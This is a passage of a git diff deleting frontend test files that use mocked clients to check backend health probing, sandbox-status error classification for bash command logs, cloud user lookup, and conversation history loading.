expect.objectContaining({ backend_kind: "local" }), - ); - }); - }); - - it("captures automation_disable_button when an automation is disabled", async () => { - const { result } = renderHook(() => useToggleAutomation(), { - wrapper: makeWrapper(), - }); - - await act(async () => { - await result.current.mutateAsync({ id: "auto-1", enabled: false }); - }); - - await waitFor(() => { - expect(captureMock).toHaveBeenCalledWith( - "automation_disable_button", - expect.objectContaining({ backend_kind: "local" }), - ); - }); - }); - - it("does not capture automation_disable_button when an automation is enabled", async () => { - const { result } = renderHook(() => useToggleAutomation(), { - wrapper: makeWrapper(), - }); - - await act(async () => { - await result.current.mutateAsync({ id: "auto-1", enabled: true }); - }); - - expect(captureMock).not.toHaveBeenCalledWith( - "automation_disable_button", - expect.anything(), - ); - }); -}); diff --git a/__tests__/hooks/query/use-backends-health.test.tsx b/__tests__/hooks/query/use-backends-health.test.tsx deleted file mode 100644 index f755a645a..000000000 --- a/__tests__/hooks/query/use-backends-health.test.tsx +++ /dev/null @@ -1,402 +0,0 @@ -import { - ServerClient, - SettingsClient, -} from "@openhands/typescript-client/clients"; -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { act, renderHook, waitFor } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend"; -import { - BACKEND_HEALTH_STORAGE_KEY, - MAX_CONSECUTIVE_FAILURES, -} from "#/api/backend-registry/health-storage"; -import { - __resetHealthStoreForTests, - resetBackendHealth, -} from "#/api/backend-registry/health-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { - CLOUD_BACKEND_LOGGED_OUT_ERROR, - useBackendsHealth, -} from "#/hooks/query/use-backends-health"; - -const getSettingsMock = vi.fn(); -const getServerInfoMock = vi.fn(); -const getCurrentCloudApiKeyMock = vi.fn(); -const getCloudOrganizationsMock = vi.fn(); - -vi.mock("@openhands/typescript-client/clients", () => ({ - ServerClient: vi.fn(function ServerClientMock() { - return { getServerInfo: getServerInfoMock }; - }), - SettingsClient: vi.fn(function SettingsClientMock() { - return { getSettings: getSettingsMock }; - }), -})); - -vi.mock("#/api/cloud/organization-service.api", () => ({ - getCloudOrganizations: (...args: unknown[]) => - getCloudOrganizationsMock(...args), - getCurrentCloudApiKey: (...args: unknown[]) => - getCurrentCloudApiKeyMock(...args), -})); - -const localBackend: Backend = { - id: SEEDED_DEFAULT_BACKEND_ID, - name: "Local", - host: "http://localhost:18000", - apiKey: "", - kind: "local", -}; - -const cloudBackend: Backend = { - id: "cloud-1", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer", - kind: "cloud", -}; - -function wrapper({ children }: { children: React.ReactNode }) { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return {children}; -} - -beforeEach(() => { - getSettingsMock.mockReset(); - getServerInfoMock.mockReset(); - getServerInfoMock.mockResolvedValue({ version: "1.28.0" }); - getCurrentCloudApiKeyMock.mockReset(); - getCloudOrganizationsMock.mockReset(); - vi.mocked(ServerClient).mockClear(); - vi.mocked(SettingsClient).mockClear(); - window.localStorage.clear(); - __resetHealthStoreForTests(); -}); - -afterEach(() => { - vi.useRealTimers(); - window.localStorage.clear(); - __resetHealthStoreForTests(); -}); - -describe("useBackendsHealth", () => { - it("probes local backends via authenticated settings and compatible server info", async () => { - getSettingsMock.mockResolvedValue({}); - - const { result } = renderHook(() => useBackendsHealth([localBackend]), { - wrapper, - }); - - await waitFor(() => - expect(result.current[localBackend.id].isConnected).toBe(true), - ); - expect(getSettingsMock).toHaveBeenCalled(); - expect(getServerInfoMock).toHaveBeenCalled(); - expect(getCurrentCloudApiKeyMock).not.toHaveBeenCalled(); - }); - - it("reports disconnected when the local backend is below the compatible version floor", async () => { - getSettingsMock.mockResolvedValue({}); - getServerInfoMock.mockResolvedValue({ version: "1.27.1" }); - - const { result } = renderHook(() => useBackendsHealth([localBackend]), { - wrapper, - }); - - await waitFor( - () => - expect(result.current[localBackend.id]).toMatchObject({ - isConnected: false, - lastError: - "Agent Canvas requires agent-server 1.28.0 or newer; this backend is running 1.27.1. Please upgrade the agent-server backend.", - }), - // Failing probes now retry a couple of times before settling. - { timeout: 3000 }, - ); - }); - - it("reports disconnected when the local probe throws", async () => { - getSettingsMock.mockRejectedValue(new Error("ECONNREFUSED")); - - const { result } = renderHook(() => useBackendsHealth([localBackend]), { - wrapper, - }); - - await waitFor( - () => expect(result.current[localBackend.id].isConnected).toBe(false), - { timeout: 3000 }, - ); - }); - - it("recovers when a transient first probe fails, then succeeds on retry", async () => { - // The first probe attempt rejects (agent-server still warming up right - // after navigation); the quick-retry inside the query function re-probes - // and succeeds, so the backend reports connected without waiting for the - // 10s poll — and because the probe ultimately succeeded, zero failures are - // recorded toward the disabled cap. - getSettingsMock.mockRejectedValueOnce(new Error("ECONNREFUSED")); - getSettingsMock.mockResolvedValue({}); - - const { result } = renderHook(() => useBackendsHealth([localBackend]), { - wrapper, - }); - - await waitFor( - () => expect(result.current[localBackend.id].isConnected).toBe(true), - { timeout: 3000 }, - ); - expect(result.current[localBackend.id].consecutiveFailures).toBe(0); - expect(getSettingsMock).toHaveBeenCalledTimes(2); - }); - - it("reports invalid API key when the authenticated local probe returns 401", async () => { - getSettingsMock.mockRejectedValue( - Object.assign(new Error("Unauthorized"), { - name: "HttpError", - status: 401, - }), - ); - - const { result } = renderHook(() => useBackendsHealth([localBackend]), { - wrapper, - }); - - await waitFor(() => - expect(result.current[localBackend.id]).toMatchObject({ - isConnected: false, - lastError: "Invalid API key", - }), - ); - expect(getServerInfoMock).not.toHaveBeenCalled(); - // A definitive auth rejection is not retried — it won't self-heal. - expect(getSettingsMock).toHaveBeenCalledTimes(1); - }); - - it("probes cloud backends via getCurrentCloudApiKey", async () => { - getCurrentCloudApiKeyMock.mockResolvedValue({ - orgId: "org-1", - isLegacyKey: false, - }); - - const { result } = renderHook(() => useBackendsHealth([cloudBackend]), { - wrapper, - }); - - await waitFor(() => - expect(result.current[cloudBackend.id].isConnected).toBe(true), - ); - expect(getCurrentCloudApiKeyMock).toHaveBeenCalledWith(cloudBackend); - expect(getSettingsMock).not.toHaveBeenCalled(); - }); - - it("probes cookie-auth cloud backends via organizations without an API key", async () => { - const cookieBackend: Backend = { - ...cloudBackend, - id: "cloud-cookie", - apiKey: "", - authMode: "cookie", - }; - getCloudOrganizationsMock.mockResolvedValue({ items: [], currentOrgId: null }); - - const { result } = renderHook(() => useBackendsHealth([cookieBackend]), { - wrapper, - }); - - await waitFor(() => - expect(result.current[cookieBackend.id].isConnected).toBe(true), - ); - expect(getCloudOrganizationsMock).toHaveBeenCalledWith(cookieBackend); - expect(getCurrentCloudApiKeyMock).not.toHaveBeenCalled(); - }); - - it("reports disconnected when the cloud probe throws", async () => { - getCurrentCloudApiKeyMock.mockRejectedValue(new Error("Network Error")); - - const { result } = renderHook(() => useBackendsHealth([cloudBackend]), { - wrapper, - }); - - await waitFor( - () => expect(result.current[cloudBackend.id].isConnected).toBe(false), - { timeout: 3000 }, - ); - }); - - it("reports logged out when the cloud probe returns 401", async () => { - getCurrentCloudApiKeyMock.mockRejectedValue( - Object.assign(new Error("Unauthorized"), { - isAxiosError: true, - response: { status: 401 }, - }), - ); - - const { result } = renderHook(() => useBackendsHealth([cloudBackend]), { - wrapper, - }); - - await waitFor(() => - expect(result.current[cloudBackend.id]).toMatchObject({ - isConnected: false, - lastError: CLOUD_BACKEND_LOGGED_OUT_ERROR, - }), - ); - }); - - it("reports null while the first probe is still in flight", async () => { - let resolveProbe!: () => void; - getSettingsMock.mockImplementation( - () => - new Promise((resolve) => { - resolveProbe = () => resolve({}); - }), - ); - - const { result } = renderHook(() => useBackendsHealth([localBackend]), { - wrapper, - }); - - expect(result.current[localBackend.id].isConnected).toBeNull(); - - resolveProbe(); - await waitFor(() => - expect(result.current[localBackend.id].isConnected).toBe(true), - ); - }); - - it("records the failure count and last error to the health store after a failed probe", async () => { - // Arrange - getSettingsMock.mockRejectedValue(new Error("ECONNREFUSED")); - - // Act - const { result } = renderHook(() => useBackendsHealth([localBackend]), { - wrapper, - }); - - // Assert — one failed probe surfaces the new metadata fields on - // the hook's return value and persists them to localStorage; the - // disabled flag stays false because we're below the cap. - await waitFor( - () => - expect(result.current[localBackend.id]).toMatchObject({ - isConnected: false, - consecutiveFailures: 1, - lastError: "ECONNREFUSED", - disabled: false, - }), - // Retries settle before a single failure is recorded. - { timeout: 3000 }, - ); - const persisted = JSON.parse( - window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY) ?? "{}", - ); - expect(persisted[localBackend.id]).toMatchObject({ - consecutiveFailures: 1, - disabled: false, - }); - }); - - it("does not probe a backend whose disabled state was persisted before the GUI mounted (refresh case)", async () => { - // Arrange — simulate a prior session that already exhausted retries - // by seeding localStorage before the hook subscribes. - window.localStorage.setItem( - BACKEND_HEALTH_STORAGE_KEY, - JSON.stringify({ - [localBackend.id]: { - consecutiveFailures: MAX_CONSECUTIVE_FAILURES, - lastError: "ECONNREFUSED", - lastFailureAt: Date.now(), - disabled: true, - }, - }), - ); - __resetHealthStoreForTests(); - getSettingsMock.mockResolvedValue({}); - - // Act - const { result } = renderHook(() => useBackendsHealth([localBackend]), { - wrapper, - }); - // Let any microtasks drain so a stray probe would have fired by now. - await act(async () => { - await Promise.resolve(); - }); - - // Assert — polling is gated off; no probe goes out. - expect(getSettingsMock).not.toHaveBeenCalled(); - expect(result.current[localBackend.id]).toMatchObject({ - isConnected: false, - disabled: true, - }); - }); - - it("re-arms polling after the user edits the backend (resetBackendHealth clears the disabled flag)", async () => { - // Arrange — start from the persisted-disabled state. - window.localStorage.setItem( - BACKEND_HEALTH_STORAGE_KEY, - JSON.stringify({ - [localBackend.id]: { - consecutiveFailures: MAX_CONSECUTIVE_FAILURES, - lastError: "ECONNREFUSED", - lastFailureAt: Date.now(), - disabled: true, - }, - }), - ); - __resetHealthStoreForTests(); - getSettingsMock.mockResolvedValue({}); - - const { result } = renderHook(() => useBackendsHealth([localBackend]), { - wrapper, - }); - expect(getSettingsMock).not.toHaveBeenCalled(); - - // Act — the active-backend-context calls resetBackendHealth when - // host or apiKey changes; do that directly so we don't have to - // spin up the whole context. - act(() => { - resetBackendHealth(localBackend.id); - }); - - // Assert — a fresh probe fires and the hook reports connected. - await waitFor(() => - expect(result.current[localBackend.id].isConnected).toBe(true), - ); - expect(getSettingsMock).toHaveBeenCalled(); - }); - - it("re-probes a persisted-disabled backend when explicitly asked and clears the stale health entry on success", async () => { - window.localStorage.setItem( - BACKEND_HEALTH_STORAGE_KEY, - JSON.stringify({ - [localBackend.id]: { - consecutiveFailures: MAX_CONSECUTIVE_FAILURES, - lastError: "Network Error", - lastFailureAt: Date.now(), - disabled: true, - }, - }), - ); - __resetHealthStoreForTests(); - getSettingsMock.mockResolvedValue({}); - - const { result } = renderHook( - () => useBackendsHealth([localBackend], { probeDisabledOnce: true }), - { - wrapper, - }, - ); - - await waitFor(() => - expect(result.current[localBackend.id]).toMatchObject({ - isConnected: true, - disabled: false, - }), - ); - expect(getSettingsMock).toHaveBeenCalled(); - expect(window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY)).toBeNull(); - }); -}); diff --git a/__tests__/hooks/query/use-bash-command-logs-enabled.test.tsx b/__tests__/hooks/query/use-bash-command-logs-enabled.test.tsx deleted file mode 100644 index 1a61997da..000000000 --- a/__tests__/hooks/query/use-bash-command-logs-enabled.test.tsx +++ /dev/null @@ -1,119 +0,0 @@ -/** - * Regression test for the automation-detail-page bug where every - * activity-log row mounted a (closed) RunLogsModal, each of which fired a - * `/api/conversations?ids=` request on page load. - * - * useBashCommandLogs must honor its `enabled` flag (set to the modal's - * `isOpen`) when resolving the conversation: a closed modal fetches - * nothing; opening it resolves exactly one conversation lookup. - * - * Per the testing rules we exercise the REAL useUserConversation and mock - * only the underlying service it depends on - * (AgentServerConversationService.batchGetAppConversations). - */ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { useBashCommandLogs } from "#/hooks/query/use-bash-command-logs"; - -// ── Mocks ───────────────────────────────────────────────────────────────────── - -const { batchGetAppConversationsMock, listOutputsMock, useActiveBackendMock } = - vi.hoisted(() => ({ - batchGetAppConversationsMock: vi.fn(), - listOutputsMock: vi.fn(), - useActiveBackendMock: vi.fn(), - })); - -vi.mock( - "#/api/conversation-service/agent-server-conversation-service.api", - () => ({ - default: { - batchGetAppConversations: (...args: unknown[]) => - batchGetAppConversationsMock(...args), - }, - }), -); - -vi.mock("#/api/bash-service/bash-service.api", () => ({ - default: { listOutputs: (...args: unknown[]) => listOutputsMock(...args) }, -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => useActiveBackendMock(), -})); - -// ── Helpers ─────────────────────────────────────────────────────────────────── - -// Build a wrapper whose QueryClient is created once and stays stable for the -// lifetime of the test. Creating the client inside the component body would -// re-instantiate it on every wrapper re-render (e.g. a `rerender` call), -// discarding the cache and tripping TanStack Query dev-mode warnings. -function makeWrapper() { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return function Wrapper({ children }: { children: React.ReactNode }) { - return ( - {children} - ); - }; -} - -beforeEach(() => { - batchGetAppConversationsMock.mockReset(); - listOutputsMock.mockReset(); - useActiveBackendMock.mockReset(); - - useActiveBackendMock.mockReturnValue({ - backend: { id: "bk-1", kind: "local" }, - orgId: null, - }); - listOutputsMock.mockResolvedValue([]); - batchGetAppConversationsMock.mockResolvedValue([ - { conversation_url: null, session_api_key: null, sandbox_status: null }, - ]); -}); - -afterEach(() => { - vi.clearAllMocks(); -}); - -// ── Tests ───────────────────────────────────────────────────────────────────── - -describe("useBashCommandLogs — gates the conversation lookup on `enabled`", () => { - it("does not fetch the conversation while the modal is closed (enabled=false)", () => { - // Arrange + Act: a RunLogsModal mounted closed for an activity-log row. - renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - enabled: false, - }), - { wrapper: makeWrapper() }, - ); - - // Assert: no /api/conversations request is issued on page load. - expect(batchGetAppConversationsMock).not.toHaveBeenCalled(); - }); - - it("fetches the conversation exactly once when the modal opens (enabled=true)", async () => { - // Arrange + Act: the user opens the row's logs modal. - renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - enabled: true, - }), - { wrapper: makeWrapper() }, - ); - - // Assert: one lookup fires for that conversation id (functionality preserved). - await waitFor(() => - expect(batchGetAppConversationsMock).toHaveBeenCalledWith(["conv-1"]), - ); - expect(batchGetAppConversationsMock).toHaveBeenCalledTimes(1); - }); -}); diff --git a/__tests__/hooks/query/use-bash-command-logs.test.tsx b/__tests__/hooks/query/use-bash-command-logs.test.tsx deleted file mode 100644 index d9bc65330..000000000 --- a/__tests__/hooks/query/use-bash-command-logs.test.tsx +++ /dev/null @@ -1,391 +0,0 @@ -/** - * Tests the error-tolerance logic in useBashCommandLogs. - * - * Cloud sandboxes can be paused, starting, errored, or deleted entirely - * — and even when `sandbox_status` says "RUNNING" the runtime can be - * unreachable for a moment. The hook is responsible for translating - * each of these states into a stable `sandboxIssue` code so the modal - * can render a targeted empty state instead of a raw axios error. - */ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { AxiosError, AxiosHeaders } from "axios"; -import { HttpError } from "@openhands/typescript-client"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; -import { useBashCommandLogs } from "#/hooks/query/use-bash-command-logs"; - -// ── Mocks ───────────────────────────────────────────────────────────────────── - -const { useUserConversationMock, useActiveBackendMock, listOutputsMock } = - vi.hoisted(() => ({ - useUserConversationMock: vi.fn(), - useActiveBackendMock: vi.fn(), - listOutputsMock: vi.fn(), - })); - -vi.mock("#/hooks/query/use-user-conversation", () => ({ - useUserConversation: (...args: unknown[]) => useUserConversationMock(...args), -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => useActiveBackendMock(), -})); - -vi.mock("#/api/bash-service/bash-service.api", () => ({ - default: { listOutputs: (...args: unknown[]) => listOutputsMock(...args) }, -})); - -// ── Helpers ─────────────────────────────────────────────────────────────────── - -function wrapper({ children }: { children: React.ReactNode }) { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return {children}; -} - -function setActiveBackend(kind: "cloud" | "local") { - useActiveBackendMock.mockReturnValue({ - backend: { id: "bk-1", kind }, - orgId: null, - }); -} - -function setConversation(partial: Partial | null) { - useUserConversationMock.mockReturnValue({ - data: partial, - isFetched: true, - isPending: false, - }); -} - -beforeEach(() => { - useUserConversationMock.mockReset(); - useActiveBackendMock.mockReset(); - listOutputsMock.mockReset(); -}); - -afterEach(() => { - vi.clearAllMocks(); -}); - -// ── Tests ───────────────────────────────────────────────────────────────────── - -describe("useBashCommandLogs — cloud sandbox state handling", () => { - beforeEach(() => setActiveBackend("cloud")); - - it.each([ - { status: "MISSING" as const, issue: "missing" }, - { status: "PAUSED" as const, issue: "paused" }, - { status: "STARTING" as const, issue: "starting" }, - { status: "ERROR" as const, issue: "errored" }, - ])( - "reports sandboxIssue=$issue and skips the fetch when sandbox_status=$status", - async ({ status, issue }) => { - setConversation({ - conversation_url: "https://runtime.example.com", - sandbox_status: status, - }); - - const { result } = renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - }), - { wrapper }, - ); - - expect(result.current.sandboxIssue).toBe(issue); - // Critical: we did NOT fire a doomed request at a known-bad sandbox. - expect(listOutputsMock).not.toHaveBeenCalled(); - }, - ); - - it("reports sandboxIssue=missing when conversation has no runtime URL", () => { - setConversation({ - conversation_url: null, - sandbox_status: "RUNNING", - }); - - const { result } = renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - }), - { wrapper }, - ); - - expect(result.current.sandboxIssue).toBe("missing"); - expect(listOutputsMock).not.toHaveBeenCalled(); - }); - - it("reports conversationMissing when the lookup returns null", () => { - setConversation(null); - - const { result } = renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - }), - { wrapper }, - ); - - expect(result.current.conversationMissing).toBe(true); - expect(result.current.sandboxIssue).toBeNull(); - expect(listOutputsMock).not.toHaveBeenCalled(); - }); - - it("fires the fetch and returns data when sandbox is RUNNING", async () => { - setConversation({ - conversation_url: "https://runtime.example.com", - sandbox_status: "RUNNING", - }); - listOutputsMock.mockResolvedValueOnce([ - { kind: "BashOutput", stdout: "hi", stderr: null }, - ]); - - const { result } = renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - }), - { wrapper }, - ); - - await waitFor(() => expect(result.current.data).toBeTruthy()); - expect(result.current.sandboxIssue).toBeNull(); - expect(listOutputsMock).toHaveBeenCalledTimes(1); - }); - - it.each([ - { status: 404, label: "404 not-found" }, - { status: 502, label: "502 bad-gateway" }, - { status: 503, label: "503 unavailable" }, - { status: 504, label: "504 gateway-timeout" }, - ])( - "classifies $label responses as sandboxIssue=unreachable", - async ({ status }) => { - setConversation({ - conversation_url: "https://runtime.example.com", - sandbox_status: "RUNNING", - }); - const headers = new AxiosHeaders(); - listOutputsMock.mockRejectedValueOnce( - new AxiosError( - `Request failed with status code ${status}`, - "ERR", - { - headers, - } as never, - null, - { - status, - data: {}, - statusText: "", - headers, - config: { headers }, - } as never, - ), - ); - - const { result } = renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - }), - { wrapper }, - ); - - await waitFor(() => - expect(result.current.sandboxIssue).toBe("unreachable"), - ); - // Don't double-report: when an issue is detected we hide the raw - // error so the modal doesn't render both the empty state AND the - // generic "Failed: AxiosError" line. - expect(result.current.error).toBeNull(); - }, - ); - - it("classifies network errors (no response) as sandboxIssue=unreachable", async () => { - setConversation({ - conversation_url: "https://runtime.example.com", - sandbox_status: "RUNNING", - }); - const err = new AxiosError("Network Error", "ERR_NETWORK"); - err.response = undefined; - listOutputsMock.mockRejectedValueOnce(err); - - const { result } = renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - }), - { wrapper }, - ); - - await waitFor(() => - expect(result.current.sandboxIssue).toBe("unreachable"), - ); - }); - - it("does NOT collapse 401/403 into unreachable (auth bugs surface as errors)", async () => { - setConversation({ - conversation_url: "https://runtime.example.com", - sandbox_status: "RUNNING", - }); - const headers = new AxiosHeaders(); - listOutputsMock.mockRejectedValueOnce( - new AxiosError("Forbidden", "ERR", { headers } as never, null, { - status: 403, - data: {}, - statusText: "Forbidden", - headers, - config: { headers }, - } as never), - ); - - const { result } = renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - }), - { wrapper }, - ); - - await waitFor(() => expect(result.current.error).toBeTruthy()); - expect(result.current.sandboxIssue).toBeNull(); - }); - - it.each([ - { status: 404, label: "404 not-found" }, - { status: 503, label: "503 unavailable" }, - ])( - "classifies shared-client HttpError $label responses as sandboxIssue=unreachable", - async ({ status }) => { - setConversation({ - conversation_url: "https://runtime.example.com", - sandbox_status: "RUNNING", - }); - listOutputsMock.mockRejectedValueOnce( - new HttpError(status, "Error", { detail: "sandbox gone" }), - ); - - const { result } = renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - }), - { wrapper }, - ); - - await waitFor(() => - expect(result.current.sandboxIssue).toBe("unreachable"), - ); - expect(result.current.error).toBeNull(); - }, - ); - - it("does NOT collapse an HttpError 401 into unreachable (auth bugs surface as errors)", async () => { - setConversation({ - conversation_url: "https://runtime.example.com", - sandbox_status: "RUNNING", - }); - listOutputsMock.mockRejectedValueOnce( - new HttpError(401, "Unauthorized", { detail: "bad token" }), - ); - - const { result } = renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - }), - { wrapper }, - ); - - await waitFor(() => expect(result.current.error).toBeTruthy()); - expect(result.current.sandboxIssue).toBeNull(); - }); - - it.each([ - { - label: "network TypeError", - makeError: () => new TypeError("Failed to fetch"), - }, - { - label: "TimeoutError abort", - makeError: () => - Object.assign(new Error("The operation timed out"), { - name: "TimeoutError", - }), - }, - { - label: "timeout wrapped with cause", - makeError: () => - new Error("Request timeout after 30000ms", { - cause: Object.assign(new Error("timed out"), { - name: "TimeoutError", - }), - }), - }, - ])( - "classifies fetch transport failures ($label) as sandboxIssue=unreachable", - async ({ makeError }) => { - setConversation({ - conversation_url: "https://runtime.example.com", - sandbox_status: "RUNNING", - }); - listOutputsMock.mockRejectedValueOnce(makeError()); - - const { result } = renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - }), - { wrapper }, - ); - - await waitFor(() => - expect(result.current.sandboxIssue).toBe("unreachable"), - ); - }, - ); -}); - -describe("useBashCommandLogs — local backend", () => { - beforeEach(() => setActiveBackend("local")); - - it("never reports a sandboxIssue (local has no sandbox lifecycle)", async () => { - setConversation({ - conversation_url: null, - sandbox_status: null, - }); - listOutputsMock.mockResolvedValueOnce([]); - - const { result } = renderHook( - () => - useBashCommandLogs({ - conversationId: "conv-1", - bashCommandId: "cmd-1", - }), - { wrapper }, - ); - - await waitFor(() => expect(result.current.data).toEqual([])); - expect(result.current.sandboxIssue).toBeNull(); - // Even network/5xx errors stay as raw errors in local mode — they - // typically mean the local agent-server is misconfigured, not a - // sandbox lifecycle issue. - expect(listOutputsMock).toHaveBeenCalledTimes(1); - }); -}); diff --git a/__tests__/hooks/query/use-cloud-current-user-id.test.tsx b/__tests__/hooks/query/use-cloud-current-user-id.test.tsx deleted file mode 100644 index c8197caea..000000000 --- a/__tests__/hooks/query/use-cloud-current-user-id.test.tsx +++ /dev/null @@ -1,129 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { renderHook, waitFor } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { useCloudCurrentUserId } from "#/hooks/query/use-cloud-current-user-id"; - -const getCloudOrganizationMeMock = vi.fn(); -const useAllCloudOrganizationsMock = vi.fn(); - -vi.mock("#/api/cloud/organization-service.api", () => ({ - getCloudOrganizationMe: (...args: unknown[]) => - getCloudOrganizationMeMock(...args), -})); -vi.mock("#/hooks/query/use-cloud-organizations", () => ({ - useAllCloudOrganizations: () => useAllCloudOrganizationsMock(), -})); - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -function makeWrapper() { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - function Wrapper({ children }: { children: React.ReactNode }) { - return ( - - {children} - - ); - } - return Wrapper; -} - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - getCloudOrganizationMeMock.mockReset(); - useAllCloudOrganizationsMock.mockReset(); - useAllCloudOrganizationsMock.mockReturnValue({ - [cloudBackend.id]: { - backend: cloudBackend, - isLoading: false, - orgs: [ - { id: "org-personal", name: "Personal" }, - { id: "org-2", name: "Acme Inc" }, - ], - }, - }); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -describe("useCloudCurrentUserId", () => { - it("uses active.orgId for /me when the active backend is this cloud backend", async () => { - setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" }); - getCloudOrganizationMeMock.mockResolvedValue({ - orgId: "org-2", - userId: "user-X", - }); - - const { result } = renderHook(() => useCloudCurrentUserId(), { - wrapper: makeWrapper(), - }); - - await waitFor(() => { - expect(result.current[cloudBackend.id]?.userId).toBe("user-X"); - }); - - // /me must be invoked with the ACTIVE org (org-2), not the first org. - expect(getCloudOrganizationMeMock).toHaveBeenCalledOnce(); - expect(getCloudOrganizationMeMock).toHaveBeenCalledWith( - "org-2", - cloudBackend, - ); - }); - - it("falls back to the first org for /me when no org is selected yet", async () => { - // Active is bundled local — `prod` is registered but not active. - getCloudOrganizationMeMock.mockResolvedValue({ - orgId: "org-personal", - userId: "user-X", - }); - - const { result } = renderHook(() => useCloudCurrentUserId(), { - wrapper: makeWrapper(), - }); - - await waitFor(() => { - expect(result.current[cloudBackend.id]?.userId).toBe("user-X"); - }); - - // Sentinel = first org. - expect(getCloudOrganizationMeMock).toHaveBeenCalledWith( - "org-personal", - cloudBackend, - ); - }); - - it("issues exactly one /me call per cloud backend (not one per org)", async () => { - setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" }); - getCloudOrganizationMeMock.mockResolvedValue({ - orgId: "org-2", - userId: "user-X", - }); - - renderHook(() => useCloudCurrentUserId(), { wrapper: makeWrapper() }); - - await waitFor(() => { - expect(getCloudOrganizationMeMock).toHaveBeenCalledTimes(1); - }); - }); -}); diff --git a/__tests__/hooks/query/use-conversation-history.test.tsx b/__tests__/hooks/query/use-conversation-history.test.tsx deleted file mode 100644 index 998e06cf9..000000000 --- a/__tests__/hooks/query/use-conversation-history.test.tsx +++ /dev/null @@ -1,387 +0,0 @@ -import { describe, it, expect, afterEach, beforeEach, vi } from "vitest"; -import React from "react"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -import { - INITIAL_HISTORY_PAGE_SIZE, - useConversationHistory, -} from "#/hooks/query/use-conversation-history"; -import EventService from "#/api/event-service/event-service.api"; -import { useUserConversation } from "#/hooks/query/use-user-conversation"; -import type { Conversation } from "#/api/open-hands.types"; -import type { OpenHandsEvent } from "#/types/agent-server/core"; -import type { EventSearchPage } from "#/api/event-service/event-service.types"; - -function makeConversation(version: "V0" | "V1"): Conversation { - return { - conversation_id: "conv-test", - title: "Test Conversation", - selected_repository: null, - selected_branch: null, - git_provider: null, - last_updated_at: new Date().toISOString(), - created_at: new Date().toISOString(), - status: "RUNNING", - runtime_status: null, - url: null, - session_api_key: null, - conversation_version: version, - }; -} - -function makeEvent(id = "evt-1", timestamp = "2024-01-01T00:00:00Z") { - return { id, timestamp } as unknown as OpenHandsEvent; -} - -function makePage( - items: OpenHandsEvent[] = [], - nextPageId: string | null = null, -): EventSearchPage { - return { items, next_page_id: nextPageId }; -} - -// -------------------- -// Mocks -// -------------------- -vi.mock("#/api/event-service/event-service.api"); -vi.mock("#/hooks/query/use-user-conversation"); - -const queryClient = new QueryClient({ - defaultOptions: { - queries: { - retry: false, - }, - }, -}); - -function wrapper({ children }: { children: React.ReactNode }) { - return ( - {children} - ); -} - -// -------------------- -// Tests -// -------------------- -describe("useConversationHistory", () => { - afterEach(() => { - vi.clearAllMocks(); - }); - - it("requests the most recent INITIAL_HISTORY_PAGE_SIZE events sorted desc", async () => { - const v1SearchEventsSpy = vi.spyOn(EventService, "searchEvents"); - - vi.mocked(useUserConversation).mockReturnValue({ - data: makeConversation("V1"), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as any); - - v1SearchEventsSpy.mockResolvedValue(makePage([makeEvent()])); - - const { result } = renderHook(() => useConversationHistory("conv-123"), { - wrapper, - }); - - await waitFor(() => { - expect(result.current.data).toBeDefined(); - }); - - // Signature: (conversationId, conversationUrl, sessionApiKey, options). - // Initial load only fetches the tail (TIMESTAMP_DESC + page-size limit) - // 